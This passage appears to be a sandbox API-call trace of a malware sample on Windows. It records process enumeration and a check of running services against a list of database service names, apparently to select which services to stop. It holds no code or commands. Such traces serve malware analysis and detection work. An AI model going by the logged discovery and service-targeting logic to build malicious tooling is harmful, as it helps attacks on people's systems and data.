cntThreads=0x57, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.018] lstrlenW (lpString="svchost.exe") returned 11 [0212.018] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.019] lstrlenW (lpString="svchost.exe") returned 11 [0212.019] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.019] lstrlenW (lpString="svchost.exe") returned 11 [0212.019] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.020] lstrlenW (lpString="svchost.exe") returned 11 [0212.020] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.021] lstrlenW (lpString="svchost.exe") returned 11 [0212.021] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.021] lstrlenW (lpString="svchost.exe") returned 11 [0212.021] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.022] lstrlenW (lpString="svchost.exe") returned 11 [0212.022] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.023] lstrlenW (lpString="svchost.exe") returned 11 [0212.023] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.023] lstrlenW (lpString="svchost.exe") returned 11 [0212.024] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0212.024] lstrlenW (lpString="spoolsv.exe") returned 11 [0212.024] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.025] lstrlenW (lpString="svchost.exe") returned 11 [0212.025] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.026] lstrlenW (lpString="svchost.exe") returned 11 [0212.026] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0212.027] lstrlenW (lpString="audiodg.exe") returned 11 [0212.028] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0212.028] lstrlenW (lpString="sihost.exe") returned 10 [0212.028] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.029] lstrlenW (lpString="svchost.exe") returned 11 [0212.029] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0212.030] lstrlenW (lpString="taskhostw.exe") returned 13 [0212.030] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0212.030] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0212.030] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0212.031] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0212.031] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0212.032] lstrlenW (lpString="explorer.exe") returned 12 [0212.032] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0212.032] lstrlenW (lpString="Memory Compression") returned 18 [0212.033] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0212.033] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0212.033] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0212.034] lstrlenW (lpString="SearchUI.exe") returned 12 [0212.034] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0212.035] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0212.035] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0212.035] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0212.035] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0212.036] lstrlenW (lpString="entering.exe") returned 12 [0212.036] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0212.037] lstrlenW (lpString="literally.exe") returned 13 [0212.037] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="prep.exe")) returned 1 [0212.037] lstrlenW (lpString="prep.exe") returned 8 [0212.038] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="homeless.exe")) returned 1 [0212.055] lstrlenW (lpString="homeless.exe") returned 12 [0212.055] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tips.exe")) returned 1 [0212.055] lstrlenW (lpString="tips.exe") returned 8 [0212.058] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rhode_cow.exe")) returned 1 [0212.058] lstrlenW (lpString="rhode_cow.exe") returned 13 [0212.058] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="discount.exe")) returned 1 [0212.059] lstrlenW (lpString="discount.exe") returned 12 [0212.059] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="littleclosest.exe")) returned 1 [0212.060] lstrlenW (lpString="littleclosest.exe") returned 17 [0212.060] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compact.exe")) returned 1 [0212.061] lstrlenW (lpString="compact.exe") returned 11 [0212.061] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="transmission-inclusion.exe")) returned 1 [0212.062] lstrlenW (lpString="transmission-inclusion.exe") returned 26 [0212.062] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mcdonald-drugs-employers.exe")) returned 1 [0212.063] lstrlenW (lpString="mcdonald-drugs-employers.exe") returned 28 [0212.063] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="harris promoting wow.exe")) returned 1 [0212.063] lstrlenW (lpString="harris promoting wow.exe") returned 24 [0212.063] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="vincentkills.exe")) returned 1 [0212.064] lstrlenW (lpString="vincentkills.exe") returned 16 [0212.064] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrong.exe")) returned 1 [0212.065] lstrlenW (lpString="armstrong.exe") returned 13 [0212.065] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="superb_guilty.exe")) returned 1 [0212.066] lstrlenW (lpString="superb_guilty.exe") returned 17 [0212.066] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditional employer.exe")) returned 1 [0212.067] lstrlenW (lpString="conditional employer.exe") returned 24 [0212.067] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middle shown.exe")) returned 1 [0212.067] lstrlenW (lpString="middle shown.exe") returned 16 [0212.068] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forced_online.exe")) returned 1 [0212.068] lstrlenW (lpString="forced_online.exe") returned 17 [0212.068] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="knitting.exe")) returned 1 [0212.069] lstrlenW (lpString="knitting.exe") returned 12 [0212.069] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_rankings_maternity.exe")) returned 1 [0212.070] lstrlenW (lpString="counting_rankings_maternity.exe") returned 31 [0212.070] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephony_assumption_pharmacies.exe")) returned 1 [0212.071] lstrlenW (lpString="telephony_assumption_pharmacies.exe") returned 35 [0212.071] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance inns helpful.exe")) returned 1 [0212.072] lstrlenW (lpString="guidance inns helpful.exe") returned 25 [0212.072] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0212.073] lstrlenW (lpString="svchost.exe") returned 11 [0212.074] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0212.074] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0212.075] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0212.075] lstrlenW (lpString="conhost.exe") returned 11 [0212.076] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0212.076] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0212.077] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0212.077] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0212.078] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0212.078] lstrlenW (lpString="WMIADAP.exe") returned 11 [0212.079] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xb04, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0212.079] lstrlenW (lpString="11.exe") returned 6 [0212.080] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0212.080] lstrlenW (lpString="cmd.exe") returned 7 [0212.081] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0212.082] lstrlenW (lpString="conhost.exe") returned 11 [0212.082] Process32NextW (in: hSnapshot=0x380, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0212.083] CloseHandle (hObject=0x380) returned 1 [0212.083] Sleep (dwMilliseconds=0x1f4) [0212.762] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x889c28 [0212.762] EnumServicesStatusExW (in: hSCManager=0x889c28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0 [0212.763] GetLastError () returned 0xea [0212.763] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1e4a) returned 0x801a48 [0212.763] EnumServicesStatusExW (in: hSCManager=0x889c28, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x801a48, cbBufSize=0x1e4a, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x801a48, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1 [0212.763] CloseServiceHandle (hSCObject=0x889c28) returned 1 [0212.763] lstrlenW (lpString="Appinfo") returned 7 [0212.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0212.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0212.763] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0212.763] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0212.763] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0212.763] lstrlenW (lpString="AppXSvc") returned 7 [0212.763] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0212.763] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0212.763] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0212.764] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0212.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0212.764] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0212.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0212.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0212.764] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0212.764] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0212.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0212.764] lstrlenW (lpString="Audiosrv") returned 8 [0212.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0212.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0212.764] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0212.764] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0212.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0212.764] lstrlenW (lpString="BFE") returned 3 [0212.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0212.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0212.764] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0212.764] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0212.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0212.764] lstrlenW (lpString="BITS") returned 4 [0212.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0212.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0212.764] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0212.764] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0212.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0212.764] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0212.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0212.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0212.764] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0212.764] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0212.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0212.764] lstrlenW (lpString="CDPSvc") returned 6 [0212.764] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0212.764] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0212.764] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0212.764] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0212.764] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0212.764] lstrlenW (lpString="ClickToRunSvc") returned 13 [0212.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0212.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0212.765] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0212.765] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0212.765] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0212.765] lstrlenW (lpString="ClipSVC") returned 7 [0212.765] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0212.765] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0212.765] 